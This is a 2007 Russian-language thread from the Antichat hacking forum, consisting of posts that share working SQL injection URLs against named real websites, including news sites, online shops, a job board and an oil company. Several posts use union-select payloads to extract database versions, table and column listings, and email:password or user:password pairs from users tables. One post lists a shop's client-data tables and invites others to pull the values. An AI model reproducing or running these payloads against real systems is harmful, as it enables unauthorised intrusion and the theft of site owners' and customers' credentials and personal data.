ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1641  
Старый 04.04.2007, 23:58
Аватар для valiko
valiko
Участник форума
Регистрация: 28.01.2007
Сообщений: 153
Провел на форуме:
1237085

Репутация: 452
По умолчанию

Код:
http://www.pr.ua/news.php?new=-3793+union+select+concat(user(),0x3a,version(),0x3a,database())/*
 
Ответить с цитированием

  #1642  
Старый 05.04.2007, 12:53
Аватар для Constantine
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

Код:
http://cityonahillpress.com/article.php?id=-473+union+select+1,2,3,version(),database(),6,user(),8,9,10,11,12,13,14,15,16,17,18,19/*
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #1643  
Старый 05.04.2007, 13:29
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию

Центр по изучению стран постсоветского зарубежья РГГУ
Цитата:
http://www.postsoviet.ru/page.php?pid=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12, 13,14,15,16/*
 
Ответить с цитированием

  #1644  
Старый 05.04.2007, 14:55
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Код:
http://www.mp3prikol.ru/?action=view_track&track_id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7/*
Код:
http://www.rightsite.ru/cgi-bin/list.pl?mode=show_yellow&kod_tovar=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,convert(concat(database(),char(58),user(),char(58),version()),char),13,14,15,16,17,18,19,20,21/*
Код:
http://www.vladimirka.ru/kulinar/?razdel=45&type=tovar&id=-1+union+select+1,222,3,4,555/*
 
Ответить с цитированием

  #1645  
Старый 05.04.2007, 15:11
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию

rabota.disell.ru
Цитата:
rabota.disell.ru/print.php?ID=-1+union+select+1,concat(email,0x3a,pass),3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19+from+users+limi t+0,1/*
rabota.disell.ru/print.php?ID=-1+union+select+1,concat(email,0x3a,pass),3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19+from+users+limi t+1,1/*
=\
Интеллектуальная поисковая система Disell.ru
Цитата:
http://top100.disell.ru/top.php?cat=-1+union+select+1,version(),user()/*
таблицы не подобрал \=
 
Ответить с цитированием

  #1646  
Старый 05.04.2007, 15:17
Аватар для Fr-Ron
Fr-Ron
Участник форума
Регистрация: 10.09.2006
Сообщений: 185
Провел на форуме:
1654589

Репутация: 337
По умолчанию

Начал осваивать MsSQL.
Магазичик всякой фигни =\
Вывод версии базы :

Цитата:
http://www.odarim.ru/sad/item.asp?idItem=7457+or+7457=@@version--
**********

Tables : dtproperties, hits, cards, cards_dbtree, class_goods, class_goods2, class_pub, clients, D99_Tmp, DBTree, DBTreeHead, flowers, flowers_dbtree, fooo, forum, hits_eng, images, items_authors, items_authors_dbtree, items_authors_items_authors, items_goods, items_goods_dbtree, items_goods_items_pubs, items_menu, items_menu2,items_news, items_pubs, listcena, main_shtuchki, new_shtuchki, news_shtuchki, old_clients, old_orders, orders, sysconstraints, syssegments, t_jiaozhu, TecParam, timetable, timeuser, Users, valuta

**********

Table : forum
Columns : id_post, id_list, key_publik, name,gender, age, prof, message, title_answer, answer

**********

Table : clients
Columns : id_clients, date_create, fio, phones, mail, dostavka, adress, metro, package, comment, date_dostavka, place, discount, adv, ref, hide

**********

Table : Users
Columns : idUser, Nick, Password

Сами значения выводить не пробовал, все в ваших руках! =)

Последний раз редактировалось Fr-Ron; 05.04.2007 в 15:33..
 
Ответить с цитированием

  #1647  
Старый 05.04.2007, 15:46
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию

ОАО "НГК "Славнефть"
=-OOO
Цитата:
http://www.slavneft.ru/press/print.php?id=-1+union+select+1,2,version(),4,5,6,7,8,9/*
Цитата:
http://www.santechmart.ru/print.php?id=-1+union+select+version()/*
 
Ответить с цитированием

  #1648  
Старый 05.04.2007, 16:17
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию

KBE - Оконные системы
Цитата:
http://www.kbe.ua/includes/print.php?id=-1+union+select+1,2,3,4,5,6,7,8+from+users+limit+0, 1/*
таблица есть, названия колонок не подобрал... \=



kurskcity.ru
Цитата:
http://www.kurskcity.ru/print.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10/*
Цитата:
http://vid.org.ua/print.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10/*
 
Ответить с цитированием

  #1649  
Старый 05.04.2007, 17:16
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Код:
http://mosgs.ru/?module=card&view=full&id=-1+union+select+1,2,3,concat(database(),char(58),user(),char(58),version()),5,6,7,8,9,10,11,12/*
http://mosgs.ru/?module=card&view=full&id=-1+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12+from+information_schema.tables+limit+19,1/*
http://mosgs.ru/?module=card&view=full&id=-1+union+select+1,2,3,concat(table_schema,char(58),column_name),5,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(77,65,73,76)+limit+0,1/*
http://mosgs.ru/?module=card&view=full&id=-1+union+select+1,2,3,concat(ID,char(58),EMAIL,char(58),ORGANIZATION_REF),5,6,7,8,9,10,11,12+from+db4797a.MAIL+limit+0,1/*
Код:
http://www.earngame.com/index.php?func=fileinfo&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat(database(),char(58),user(),char(58),version()),11/*
 
Ответить с цитированием

  #1650  
Старый 05.04.2007, 18:46
Аватар для }{0TT@БЬ)Ч
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885

Репутация: 447
По умолчанию

Цитата:
Сообщение от p-range  
Код:
http://top100.disell.ru/top.php?cat=-1+union+select+1,version(),user()/*
таблицы не подобрал \=
не поверю чтоб ты не заметил версию
Код:
http://top100.disell.ru/top.php?cat=-1+union+select+1,null,concat(id,char(58),password,char(58),mail)+FROM+top_users/*
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ